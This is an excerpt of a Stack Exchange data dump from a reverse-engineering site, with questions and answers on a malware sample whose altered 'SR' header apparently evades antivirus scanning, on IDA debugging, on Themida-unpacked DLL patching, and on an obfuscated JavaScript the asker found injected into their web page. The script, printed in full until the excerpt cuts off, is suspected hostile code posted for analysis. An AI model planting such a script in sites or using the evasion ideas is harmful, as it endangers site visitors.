  <row Id="13852" PostTypeId="1" AcceptedAnswerId="13853" CreationDate="2016-11-02T12:41:00.407" Score="1" ViewCount="131" Body="&lt;p&gt;I have pulled bunch of files from Virus Total based on hashes, one sample (&lt;code&gt;SHA256 == 3e6ee07c883a6a0e939300a18c61d639a0dea49521037fef09ae77b76f70f843&lt;/code&gt;) was really weird. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it is PE file (*.exe file to be more precise), however first two bytes in file are &lt;code&gt;SR&lt;/code&gt; instead of &lt;code&gt;MZ&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have been looking online if it can be some &lt;em&gt;magic&lt;/em&gt; that can be executed in Windows machines but no success. I guess it is some kind of corrupted file, however not sure, so asking if someone has any references to &lt;code&gt;SR&lt;/code&gt; files.&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2016-11-02T13:04:17.820" Title="&quot;SR&quot; instead of &quot;MZ&quot;" Tags="|windows|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="2" ParentId="13852" CreationDate="2016-11-02T13:04:17.820" Score="4" Body="&lt;p&gt;Probably it's just a measure to prevent scanning of the file by standard antiviruses. I suspect the malware either restores &lt;code&gt;MZ&lt;/code&gt; before actually running the file, or uses a custom loader (a la RunPE) to map and execute it, and of course the custom loader can be coded to handle the &lt;code&gt;SR&lt;/code&gt; signature in addition (or instead of) &lt;code&gt;MZ&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-02T13:04:17.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13854" PostTypeId="1" CreationDate="2016-11-02T18:39:05.717" Score="7" ViewCount="1153" Body="&lt;p&gt;I am:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;working with an Android game,&lt;/li&gt;&#xA;&lt;li&gt;using an Android Emulator,&lt;/li&gt;&#xA;&lt;li&gt;and trying to attach an android &lt;code&gt;.so&lt;/code&gt; library to a process.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have the whole IDA server set up, I can attach to processes when a &lt;code&gt;classes.dex&lt;/code&gt; is loaded into IDA but, when I load the &lt;code&gt;.so&lt;/code&gt; file and try to attach, I get this message from IDA&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The debugger could not attach to the selected process.&lt;br /&gt;&#xA;This can perhaps indicate the process was terminated, or you don't have the necessary privileges.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I see a problem with this because I have full root permission and I know for sure the process was not terminated.&lt;/p&gt;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://finn.svbtle.com/error-the-file-cant-be-loaded-by-the-debugger-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; that I may have to recompile the entire Android kernel, don't get me wrong, I love wasting hours compiling, but I was just wondering if you guys can help me find something to solve this pesky little situation of mine.&lt;/p&gt;&#xA;&lt;p&gt;Edit: This may be a dup but the dup wasn't answered and was from 2014. :/&lt;/p&gt;&#xA;" OwnerUserId="17958" LastEditorUserId="37138" LastEditDate="2021-10-29T07:31:52.473" LastActivityDate="2023-03-23T17:04:00.453" Title="Attach Shared Object to android process with IDA" Tags="|ida|debugging|android|shared-object|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="13855" PostTypeId="1" AcceptedAnswerId="13856" CreationDate="2016-11-03T08:42:32.860" Score="2" ViewCount="642" Body="&lt;p&gt;I'm aware, that Hex-Rays provides pseudocode, which is not supposed to be compiled, but I'm trying to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I stopped on instructions like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char (__usercall *__fastcall sub_947770(__int64 a1, __int64 a2))@&amp;lt;al&amp;gt;(__int64 a1@&amp;lt;rdx&amp;gt;, __m128i *a2@&amp;lt;xmm6&amp;gt;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those @&amp;lt; a1 &gt; a1@&amp;lt; rdx &gt;, etc are not recognizable by MSVC 2015 compiler. Is  there any way to compile this code or to setup decompilation options to generate something more compiler-friendly?&lt;/p&gt;&#xA;" OwnerUserId="17968" LastActivityDate="2016-11-03T09:03:48.650" Title="Compile Hex-Rays code" Tags="|decompilation|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13856" PostTypeId="2" ParentId="13855" CreationDate="2016-11-03T09:03:48.650" Score="1" Body="&lt;p&gt;Try changing this line to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;char * FASTCALL sub_947770(int64 a1, int64 a2)&lt;/p&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2016-11-03T09:03:48.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="1" CreationDate="2016-11-03T16:26:40.667" Score="4" ViewCount="708" Body="&lt;p&gt;I found a github project that compiled cleanly on the first try (might be the first ever for me, yay!). No instructions, so I stumble around for a bit until I find an awful Youtube video... everything's going good, until I hit the two minute mark, and then it has a section titled &quot;Open in IDA Pro 64&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look at their website... $589 and up. It's sort of over-the-budget given the nature of this personal project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a dll proxy tool/system that would just write out the calls/args to a log file or something of that nature?&lt;/p&gt;&#xA;" OwnerUserId="17933" LastEditorUserId="2147" LastEditDate="2016-11-04T04:38:25.570" LastActivityDate="2016-11-09T16:06:31.813" Title="Is there a tool for proxying a dll that doesn't require IDA Pro?" Tags="|ida|windows|tools|dll|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="1" AcceptedAnswerId="13860" CreationDate="2016-11-03T18:29:11.617" Score="0" ViewCount="2123" Body="&lt;p&gt;How to patch dll file packed by themida? I've dumped the unpacked file and patched it. But the program didn't recognize the unpacked dll. The original file and dumped file have ~8mb different size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to patch it while running inside debugger&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YvZwy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YvZwy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still no luck. Any idea how to patch it?&lt;/p&gt;&#xA;" OwnerUserId="17970" LastEditorUserId="17970" LastEditDate="2016-11-04T08:42:59.400" LastActivityDate="2016-11-04T08:42:59.400" Title="Patch packed DLL by themida" Tags="|ida|dll|packers|patching|" AnswerCount="1" CommentCount="2" ClosedDate="2016-11-08T01:39:45.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="13860" PostTypeId="2" ParentId="13859" CreationDate="2016-11-03T22:04:36.903" Score="0" Body="&lt;p&gt;&lt;strong&gt;Many possibilities:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You didn't unpack the dll properly, maybe you forget to fix the relocations (since it's a dll).&lt;/li&gt;&#xA;&lt;li&gt;The program is using a checksum algorithm to detect if the dll is tampered.&lt;/li&gt;&#xA;&lt;li&gt;That specific dll isn't your target, maybe you should do more dynamic analysis before start unpacking&lt;/li&gt;&#xA;&lt;li&gt;Or any other possibilities.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*P.S: you shall consider inline patching instead of unpacking the dll since your aim is to patch the dll.&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2016-11-03T22:04:36.903" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="2" ParentId="13858" CreationDate="2016-11-04T04:13:22.013" Score="2" Body="&lt;p&gt;Looks like you're looking for an API monitoring tool. There are plenty of those, including my personal favorite being &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rohitab's API Monitor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An API monitoring tool will record all API calls performed by a process, thier parameters and return values. Features depend on the specific tool but Rohitab's is really complete (and free). Googling for API monitoring tools will provide other good results.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, IDA has both a limited demo version and an old freeware version. One of those is ought to be enough for what you seem to be looking for.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-11-04T04:33:58.250" LastActivityDate="2016-11-04T04:33:58.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13862" PostTypeId="2" ParentId="6080" CreationDate="2016-11-04T07:17:52.037" Score="4" Body="&lt;p&gt;This problem is solved in the case when code mapping symbols (&lt;code&gt;$a&lt;/code&gt;, &lt;code&gt;$t&lt;/code&gt;, &lt;code&gt;$d&lt;/code&gt;) are available. However, it's still possible to get (almost) perfect disassembly for Thumb-2 even when symbols are not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A promising technique is speculative disassembly which has been discussed in this &lt;a href=&quot;http://dx.doi.org/10.1145/2968455.2968505&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt;. The tool, Spedi, is open sourced &lt;a href=&quot;https://github.com/abenkhadra/spedi&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. It outperforms IDA Pro at least on the limited set of benchmarks used. Spedi can also be instructed to use ARM code mapping symbols, if available, to get the ground truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool can be enhanced with the ideas discussed in this &lt;a href=&quot;http://dl.acm.org/citation.cfm?id=2555729.2555748&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; to address your case of mixed mode disassembly even when symbols are not available.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="11828" LastEditDate="2017-05-22T09:20:18.050" LastActivityDate="2017-05-22T09:20:18.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13863" PostTypeId="2" ParentId="13854" CreationDate="2016-11-04T07:39:43.373" Score="0" Body="&lt;p&gt;If&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/kmsg | grep &quot;Restricted&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns results that are similar to ones in the blog you linked, then indeed &lt;code&gt;CONFIG_SEC_RESTRICT_FORK&lt;/code&gt; is set and the only way to get rid of it is to recompile the kernel&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-11-04T07:39:43.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13864" PostTypeId="2" ParentId="12638" CreationDate="2016-11-04T21:00:20.840" Score="2" Body="&lt;p&gt;I ran into the exact same issue but my case was a little bit different.  I had Python 3.5 installed on my Windows 7 laptop.  Immunity would open and then immediately close.  I installed Python 2.7 and, when I launched Immunity Debugger, it came up perfectly.  So, in addition the your environmental variables, also be careful about which version of Python you're running!&lt;/p&gt;&#xA;" OwnerUserId="17987" LastActivityDate="2016-11-04T21:00:20.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13865" PostTypeId="1" CreationDate="2016-11-04T22:13:57.010" Score="1" ViewCount="369" Body="&lt;p&gt;I stumbled across this question here &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm&quot;&gt;Offset calculation for branch instruction in ARM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After understanding all of that, i'm interested in knowing how i can do the same for ARM64/ARMv8 architecture?&lt;/p&gt;&#xA;" OwnerUserId="15833" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-11-04T22:13:57.010" Title="Calculating branch in arm64" Tags="|arm|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13868" PostTypeId="1" AcceptedAnswerId="13869" CreationDate="2016-11-05T17:10:26.440" Score="7" ViewCount="2515" Body="&lt;p&gt;I've a couple of questions regarding this javascript code, I found injected in one of my web pages.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is this script doing?&lt;/li&gt;&#xA;&lt;li&gt;Which tool is used to pack or obfuscate this script?&lt;/li&gt;&#xA;&lt;li&gt;How can I learn the working of this script?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've used this tool: &lt;a href=&quot;http://dean.edwards.name/unpacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dean.edwards.name/unpacker/&lt;/a&gt; but it returning error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error unpacking script: Unexpected token {&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function(){function x(){var b=K(),a;for(a in b){var m=b[a],c;c=m;if(6!==c.length)c=!1;else{var d;d=c.match(/^[a-z0-9]+$/)?!0:!1;if(d){c=c.split(&quot;&quot;);for(index=d=0;index&amp;lt;c.length;++index)d+=c[index].charCodeAt(0);c=465!==d?!1:!0}else c=!1}if(c&amp;amp;&amp;amp;(&quot;undefined&quot;===typeof disable_override||!disable_override))return m}return&quot;gie462&quot;}function K(){for(var b,a=/\+/g,m=/([^&amp;amp;=]+)=?([^&amp;amp;]*)/g,c=function(b){b=b.replace(a,&quot; &quot;);var c;a:{c=b;var d=&quot;%20 %21 %22 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2D %2E %2F %3A %3B %3C %3D %3E %3F %40 %5B %5C %5D %5E %5F %7B %7C %7D %7E %60&quot;.split(&quot; &quot;);&#xA;    for(i=0;i&amp;lt;d.length;i++)if(-1!==c.indexOf(d[i])){c=!0;break a}c=!1}return c?decodeURIComponent(b):b},d=window.location.search.substring(1),e={};b=m.exec(d);)e[c(b[1])]=c(b[2]);return e}function q(){for(var b=document.getElementsByTagName(&quot;script&quot;),a=0;a&amp;lt;b.length;a++)if(-1!=b[a].src.indexOf(&quot;gie462&quot;))return b[a]}function H(b){return String.fromCharCode.apply(null,arguments)}var l={alphabet:&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;,lookup:null,ie:/MSIE /.test(navigator.userAgent),&#xA;    ieo:/MSIE [67]/.test(navigator.userAgent),encode:function(b){b=l.toUtf8(b);var a=-1,m=b.length,c,d,e=[,,,];if(l.ie){for(var r=[];++a&amp;lt;m;)c=b[a],d=b[++a],e[0]=c&amp;gt;&amp;gt;2,e[1]=(c&amp;amp;3)&amp;lt;&amp;lt;4|d&amp;gt;&amp;gt;4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&amp;amp;15)&amp;lt;&amp;lt;2|c&amp;gt;&amp;gt;6,e[3]=isNaN(c)?64:c&amp;amp;63),r.push(l.alphabet.charAt(e[0]),l.alphabet.charAt(e[1]),l.alphabet.charAt(e[2]),l.alphabet.charAt(e[3]));return r.join(&quot;&quot;)}for(r=&quot;&quot;;++a&amp;lt;m;)c=b[a],d=b[++a],e[0]=c&amp;gt;&amp;gt;2,e[1]=(c&amp;amp;3)&amp;lt;&amp;lt;4|d&amp;gt;&amp;gt;4,isNaN(d)?e[2]=e[3]=64:(c=b[++a],e[2]=(d&amp;amp;15)&amp;lt;&amp;lt;2|c&amp;gt;&amp;gt;6,e[3]=isNaN(c)?&#xA;        64:c&amp;amp;63),r+=l.alphabet[e[0]]+l.alphabet[e[1]]+l.alphabet[e[2]]+l.alphabet[e[3]];return r},decode:function(b){if(b.length%4)throw Error(&quot;decode failed.&quot;);b=l.fromUtf8(b);var a=0,m=b.length;if(l.ieo){for(var c=[];a&amp;lt;m;)128&amp;gt;b[a]?c.push(String.fromCharCode(b[a++])):191&amp;lt;b[a]&amp;amp;&amp;amp;224&amp;gt;b[a]?c.push(String.fromCharCode((b[a++]&amp;amp;31)&amp;lt;&amp;lt;6|b[a++]&amp;amp;63)):c.push(String.fromCharCode((b[a++]&amp;amp;15)&amp;lt;&amp;lt;12|(b[a++]&amp;amp;63)&amp;lt;&amp;lt;6|b[a++]&amp;amp;63));return c.join(&quot;&quot;)}for(c=&quot;&quot;;a&amp;lt;m;)c=128&amp;gt;b[a]?c+String.fromCharCode(b[a++]):191&amp;lt;b[a]&amp;amp;&amp;amp;224&amp;gt;b[a]?c+String.fromCharCode((b[a++]&amp;amp;&#xA;        31)&amp;lt;&amp;lt;6|b[a++]&amp;amp;63):c+String.fromCharCode((b[a++]&amp;amp;15)&amp;lt;&amp;lt;12|(b[a++]&amp;amp;63)&amp;lt;&amp;lt;6|b[a++]&amp;amp;63);return c},toUtf8:function(b){var a=-1,m=b.length,c,d=[];if(/^[\x00-\x7f]*$/.test(b))for(;++a&amp;lt;m;)d.push(b.charCodeAt(a));else for(;++a&amp;lt;m;)c=b.charCodeAt(a),128&amp;gt;c?d.push(c):2048&amp;gt;c?d.push(c&amp;gt;&amp;gt;6|192,c&amp;amp;63|128):d.push(c&amp;gt;&amp;gt;12|224,c&amp;gt;&amp;gt;6&amp;amp;63|128,c&amp;amp;63|128);return d},fromUtf8:function(b){var a=-1,m,c=[],d=[,,,];if(!l.lookup){m=l.alphabet.length;for(l.lookup={};++a&amp;lt;m;)l.lookup[l.alphabet.charAt(a)]=a;a=-1}for(m=b.length;++a&amp;lt;m;){d[0]=&#xA;        l.lookup[b.charAt(a)];d[1]=l.lookup[b.charAt(++a)];c.push(d[0]&amp;lt;&amp;lt;2|d[1]&amp;gt;&amp;gt;4);d[2]=l.lookup[b.charAt(++a)];if(64==d[2])break;c.push((d[1]&amp;amp;15)&amp;lt;&amp;lt;4|d[2]&amp;gt;&amp;gt;2);d[3]=l.lookup[b.charAt(++a)];if(64==d[3])break;c.push((d[2]&amp;amp;3)&amp;lt;&amp;lt;6|d[3])}return c}};(function(){function b(a,c){function e(g){if(e[g]!==w)return e[g];var h;if(&quot;bug-string-char-index&quot;==g)h=!1;else if(&quot;json&quot;==g)h=e(&quot;json-stringify&quot;)&amp;amp;&amp;amp;e(&quot;json-parse&quot;);else{var a;if(&quot;json-stringify&quot;==g){h=c.stringify;var b=&quot;function&quot;==typeof h&amp;amp;&amp;amp;t;if(b){(a=function(){return 1}).toJSON=&#xA;    a;try{b=&quot;0&quot;===h(0)&amp;amp;&amp;amp;&quot;0&quot;===h(new l)&amp;amp;&amp;amp;'&quot;&quot;'==h(new x)&amp;amp;&amp;amp;h(u)===w&amp;amp;&amp;amp;h(w)===w&amp;amp;&amp;amp;h()===w&amp;amp;&amp;amp;&quot;1&quot;===h(a)&amp;amp;&amp;amp;&quot;[1]&quot;==h([a])&amp;amp;&amp;amp;&quot;[null]&quot;==h([w])&amp;amp;&amp;amp;&quot;null&quot;==h(null)&amp;amp;&amp;amp;&quot;[null,null,null]&quot;==h([w,u,null])&amp;amp;&amp;amp;'{&quot;a&quot;:[1,true,false,null,&quot;\\u0000\\b\\n\\f\\r\\t&quot;]}'==h({a:[a,!0,!1,null,&quot;\x00\b\n\f\r\t&quot;]})&amp;amp;&amp;amp;&quot;1&quot;===h(null,a)&amp;amp;&amp;amp;&quot;[\n 1,\n 2\n]&quot;==h([1,2],null,1)&amp;amp;&amp;amp;'&quot;-271821-04-20T00:00:00.000Z&quot;'==h(new q(-864E13))&amp;amp;&amp;amp;'&quot;+275760-09-13T00:00:00.000Z&quot;'==h(new q(864E13))&amp;amp;&amp;amp;'&quot;-000001-01-01T00:00:00.000Z&quot;'==h(new q(-621987552E5))&amp;amp;&amp;amp;'&quot;1969-12-31T23:59:59.999Z&quot;'==&#xA;    h(new q(-1))}catch(d){b=!1}}h=b}if(&quot;json-parse&quot;==g){h=c.parse;if(&quot;function&quot;==typeof h)try{if(0===h(&quot;0&quot;)&amp;amp;&amp;amp;!h(!1)){a=h('{&quot;a&quot;:[1,true,false,null,&quot;\\u0000\\b\\n\\f\\r\\t&quot;]}');var B=5==a.a.length&amp;amp;&amp;amp;1===a.a[0];if(B){try{B=!h('&quot;\t&quot;')}catch(d){}if(B)try{B=1!==h(&quot;01&quot;)}catch(d){}if(B)try{B=1!==h(&quot;1.&quot;)}catch(d){}}}}catch(d){B=!1}h=B}}return e[g]=!!h}a||(a=d.Object());c||(c=d.Object());var l=a.Number||d.Number,x=a.String||d.String,r=a.Object||d.Object,q=a.Date||d.Date,E=a.SyntaxError||d.SyntaxError,H=a.TypeError||&#xA;    d.TypeError,K=a.Math||d.Math,I=a.JSON||d.JSON;&quot;object&quot;==typeof I&amp;amp;&amp;amp;I&amp;amp;&amp;amp;(c.stringify=I.stringify,c.parse=I.parse);var r=r.prototype,u=r.toString,v,D,w,t=new q(-0xc782b5b800cec);try{t=-109252==t.getUTCFullYear()&amp;amp;&amp;amp;0===t.getUTCMonth()&amp;amp;&amp;amp;1===t.getUTCDate()&amp;amp;&amp;amp;10==t.getUTCHours()&amp;amp;&amp;amp;37==t.getUTCMinutes()&amp;amp;&amp;amp;6==t.getUTCSeconds()&amp;amp;&amp;amp;708==t.getUTCMilliseconds()}catch(g){}if(!e(&quot;json&quot;)){var F=e(&quot;bug-string-char-index&quot;);if(!t)var y=K.floor,Q=[0,31,59,90,120,151,181,212,243,273,304,334],G=function(g,h){return Q[h]+365*&#xA;    (g-1970)+y((g-1969+(h=+(1&amp;lt;h)))/4)-y((g-1901+h)/100)+y((g-1601+h)/400)};(v=r.hasOwnProperty)||(v=function(g){var h={},a;(h.__proto__=null,h.__proto__={toString:1},h).toString!=u?v=function(g){var a=this.__proto__;g=g in(this.__proto__=null,this);this.__proto__=a;return g}:(a=h.constructor,v=function(g){var h=(this.constructor||a).prototype;return g in this&amp;amp;&amp;amp;!(g in h&amp;amp;&amp;amp;this[g]===h[g])});h=null;return v.call(this,g)});D=function(g,a){var c=0,b,d,f;(b=function(){this.valueOf=0}).prototype.valueOf=0;d=&#xA;    new b;for(f in d)v.call(d,f)&amp;amp;&amp;amp;c++;b=d=null;c?D=2==c?function(g,a){var h={},c=&quot;[object Function]&quot;==u.call(g),b;for(b in g)c&amp;amp;&amp;amp;&quot;prototype&quot;==b||v.call(h,b)||!(h[b]=1)||!v.call(g,b)||a(b)}:function(g,a){var h=&quot;[object Function]&quot;==u.call(g),b,c;for(b in g)h&amp;amp;&amp;amp;&quot;prototype&quot;==b||!v.call(g,b)||(c=&quot;constructor&quot;===b)||a(b);(c||v.call(g,b=&quot;constructor&quot;))&amp;amp;&amp;amp;a(b)}:(d=&quot;valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor&quot;.split(&quot; &quot;),D=function(g,a){var h=&quot;[object Function]&quot;==&#xA;    u.call(g),b,c=!h&amp;amp;&amp;amp;&quot;function&quot;!=typeof g.constructor&amp;amp;&amp;amp;m[typeof g.hasOwnProperty]&amp;amp;&amp;amp;g.hasOwnProperty||v;for(b in g)h&amp;amp;&amp;amp;&quot;prototype&quot;==b||!c.call(g,b)||a(b);for(h=d.length;b=d[--h];c.call(g,b)&amp;amp;&amp;amp;a(b));});return D(g,a)};if(!e(&quot;json-stringify&quot;)){var R={92:&quot;\\\\&quot;,34:'\\&quot;',8:&quot;\\b&quot;,12:&quot;\\f&quot;,10:&quot;\\n&quot;,13:&quot;\\r&quot;,9:&quot;\\t&quot;},z=function(g,a){return(&quot;000000&quot;+(a||0)).slice(-g)},N=function(g){for(var a='&quot;',b=0,c=g.length,d=!F||10&amp;lt;c,f=d&amp;amp;&amp;amp;(F?g.split(&quot;&quot;):g);b&amp;lt;c;b++){var k=g.charCodeAt(b);switch(k){case 8:case 9:case 10:case 12:case 13:case 34:case 92:a+=&#xA;    R[k];break;default:a=32&amp;gt;k?a+(&quot;\\u00&quot;+z(2,k.toString(16))):a+(d?f[b]:g.charAt(b))}}return a+'&quot;'},L=function(g,a,b,c,d,f,k){var e,p,l,m,n,q,r,t,A;try{e=a[g]}catch(x){}if(&quot;object&quot;==typeof e&amp;amp;&amp;amp;e)if(p=u.call(e),&quot;[object Date]&quot;!=p||v.call(e,&quot;toJSON&quot;))&quot;function&quot;==typeof e.toJSON&amp;amp;&amp;amp;(&quot;[object Number]&quot;!=p&amp;amp;&amp;amp;&quot;[object String]&quot;!=p&amp;amp;&amp;amp;&quot;[object Array]&quot;!=p||v.call(e,&quot;toJSON&quot;))&amp;amp;&amp;amp;(e=e.toJSON(g));else if(e&amp;gt;-1/0&amp;amp;&amp;amp;e&amp;lt;1/0){if(G){m=y(e/864E5);for(p=y(m/365.2425)+1970-1;G(p+1,0)&amp;lt;=m;p++);for(l=y((m-G(p,0))/30.42);G(p,l+1)&amp;lt;=m;l++);&#xA;    m=1+m-G(p,l);n=(e%864E5+864E5)%864E5;q=y(n/36E5)%24;r=y(n/6E4)%60;t=y(n/1E3)%60;n%=1E3}else p=e.getUTCFullYear(),l=e.getUTCMonth(),m=e.getUTCDate(),q=e.getUTCHours(),r=e.getUTCMinutes(),t=e.getUTCSeconds(),n=e.getUTCMilliseconds();e=(0&amp;gt;=p||1E4&amp;lt;=p?(0&amp;gt;p?&quot;-&quot;:&quot;+&quot;)+z(6,0&amp;gt;p?-p:p):z(4,p))+&quot;-&quot;+z(2,l+1)+&quot;-&quot;+z(2,m)+&quot;T&quot;+z(2,q)+&quot;:&quot;+z(2,r)+&quot;:&quot;+z(2,t)+&quot;.&quot;+z(3,n)+&quot;Z&quot;}else e=null;b&amp;amp;&amp;amp;(e=b.call(a,g,e));if(null===e)return&quot;null&quot;;p=u.call(e);if(&quot;[object Boolean]&quot;==p)return&quot;&quot;+e;if(&quot;[object Number]&quot;==p)return e&amp;gt;-1/0&amp;amp;&amp;amp;e&amp;lt;&#xA;1/0?&quot;&quot;+e:&quot;null&quot;;if(&quot;[object String]&quot;==p)return N(&quot;&quot;+e);if(&quot;object&quot;==typeof e){for(g=k.length;g--;)if(k[g]===e)throw H();k.push(e);A=[];a=f;f+=d;if(&quot;[object Array]&quot;==p){l=0;for(g=e.length;l&amp;lt;g;l++)p=L(l,e,b,c,d,f,k),A.push(p===w?&quot;null&quot;:p);g=A.length?d?&quot;[\n&quot;+f+A.join(&quot;,\n&quot;+f)+&quot;\n&quot;+a+&quot;]&quot;:&quot;[&quot;+A.join(&quot;,&quot;)+&quot;]&quot;:&quot;[]&quot;}else D(c||e,function(g){var a=L(g,e,b,c,d,f,k);a!==w&amp;amp;&amp;amp;A.push(N(g)+&quot;:&quot;+(d?&quot; &quot;:&quot;&quot;)+a)}),g=A.length?d?&quot;{\n&quot;+f+A.join(&quot;,\n&quot;+f)+&quot;\n&quot;+a+&quot;}&quot;:&quot;{&quot;+A.join(&quot;,&quot;)+&quot;}&quot;:&quot;{}&quot;;k.pop();return g}};c.stringify=function(g,&#xA;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             a,b){var c,e,d,f;if(m[typeof a]&amp;amp;&amp;amp;a)if(&quot;[object Function]&quot;==(f=u.call(a)))e=a;else if(&quot;[object Array]&quot;==f){d={};for(var l=0,p=a.length,n;l&amp;lt;p;n=a[l++],(f=u.call(n),&quot;[object String]&quot;==f||&quot;[object Number]&quot;==f)&amp;amp;&amp;amp;(d[n]=1));}if(b)if(&quot;[object Number]&quot;==(f=u.call(b))){if(0&amp;lt;(b-=b%1))for(c=&quot;&quot;,10&amp;lt;b&amp;amp;&amp;amp;(b=10);c.length&amp;lt;b;c+=&quot; &quot;);}else&quot;[object String]&quot;==f&amp;amp;&amp;amp;(c=10&amp;gt;=b.length?b:b.slice(0,10));return L(&quot;&quot;,(n={},n[&quot;&quot;]=g,n),e,d,c,&quot;&quot;,[])}}if(!e(&quot;json-parse&quot;)){var S=x.fromCharCode,T={92:&quot;\\&quot;,34:'&quot;',47:&quot;/&quot;,98:&quot;\b&quot;,116:&quot;\t&quot;,&#xA;    110:&quot;\n&quot;,102:&quot;\f&quot;,114:&quot;\r&quot;},f,J,n=function(){f=J=null;throw E();},C=function(){for(var a=J,b=a.length,c,e,d,l,k;f&amp;lt;b;)switch(k=a.charCodeAt(f),k){case 9:case 10:case 13:case 32:f++;break;case 123:case 125:case 91:case 93:case 58:case 44:return c=F?a.charAt(f):a[f],f++,c;case 34:c=&quot;@&quot;;for(f++;f&amp;lt;b;)if(k=a.charCodeAt(f),32&amp;gt;k)n();else if(92==k)switch(k=a.charCodeAt(++f),k){case 92:case 34:case 47:case 98:case 116:case 110:case 102:case 114:c+=T[k];f++;break;case 117:e=++f;for(d=f+4;f&amp;lt;d;f++)k=a.charCodeAt(f),&#xA;48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k||97&amp;lt;=k&amp;amp;&amp;amp;102&amp;gt;=k||65&amp;lt;=k&amp;amp;&amp;amp;70&amp;gt;=k||n();c+=S(&quot;0x&quot;+a.slice(e,f));break;default:n()}else{if(34==k)break;k=a.charCodeAt(f);for(e=f;32&amp;lt;=k&amp;amp;&amp;amp;92!=k&amp;amp;&amp;amp;34!=k;)k=a.charCodeAt(++f);c+=a.slice(e,f)}if(34==a.charCodeAt(f))return 